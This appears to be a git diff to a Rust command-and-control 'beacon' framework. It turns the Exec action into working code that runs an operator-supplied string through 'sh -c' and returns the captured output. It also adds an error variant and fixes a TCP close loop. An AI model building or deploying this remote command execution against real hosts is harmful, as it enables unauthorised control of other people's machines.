diff --git a/sparse-actions/src/actions.rs b/sparse-actions/src/actions.rs index 852d2be..d5f67b5 100644 --- a/sparse-actions/src/actions.rs +++ b/sparse-actions/src/actions.rs @@ -46,6 +46,7 @@ macro_rules! define_actions_enum { } } + #[cfg(feature = "server")] fn render_empty_internal(&self) -> AnyView { match self { $( diff --git a/sparse-actions/src/actions/exec.rs b/sparse-actions/src/actions/exec.rs index 9c57e45..e417db5 100644 --- a/sparse-actions/src/actions/exec.rs +++ b/sparse-actions/src/actions/exec.rs @@ -39,9 +39,50 @@ impl super::Action for Exec { T: 'a + BeaconAdapter, S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static { - println!("Execute command {}", self.exec_cmd); + use std::process::Stdio; - Ok("Execute".to_string()) + use tokio::{io::AsyncReadExt, process::Command}; + + let mut output: Vec = Vec::new(); + + let mut cmd = Command::new("sh") + .arg("-c") + .arg(self.exec_cmd.clone()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?; + let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?; + + let mut stdout_buffer = [0u8; 4096]; + let mut stderr_buffer = [0u8; 4096]; + + loop { + tokio::select! { + amt = stdout.read(&mut stdout_buffer) => { + let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) { + Ok(v) => v.to_string(), + Err(_) => "(invalid UTF-8 chunk)".to_string() + }; + + output.push(str_out); + }, + amt = stderr.read(&mut stderr_buffer) => { + let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) { + Ok(v) => v.to_string(), + Err(_) => "(invalid UTF-8 chunk)".to_string() + }; + + output.push(str_out); + }, + _ = cmd.wait() => { + break; + } + } + } + + Ok(output.join("")) } #[cfg(feature = "server")] diff --git a/sparse-actions/src/error.rs b/sparse-actions/src/error.rs index 63cbdd5..aed29bb 100644 --- a/sparse-actions/src/error.rs +++ b/sparse-actions/src/error.rs @@ -39,4 +39,6 @@ where Hyper(#[from] hyper::Error), #[error("serde json error")] Json(#[from] serde_json::Error), + #[error("could not acquire child resources")] + ChildExecResourceNotFound, } diff --git a/sparse-beacon/src/tcp.rs b/sparse-beacon/src/tcp.rs index 6b0c2b5..8a7466d 100644 --- a/sparse-beacon/src/tcp.rs +++ b/sparse-beacon/src/tcp.rs @@ -315,9 +315,14 @@ where }; let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard; + if close_attempts > 0 { let socket = s_guard.get_mut::(tcp_handle); - socket.close(); + if socket.is_open() { + socket.close(); + } else { + break; + } } let timestamp = Instant::now();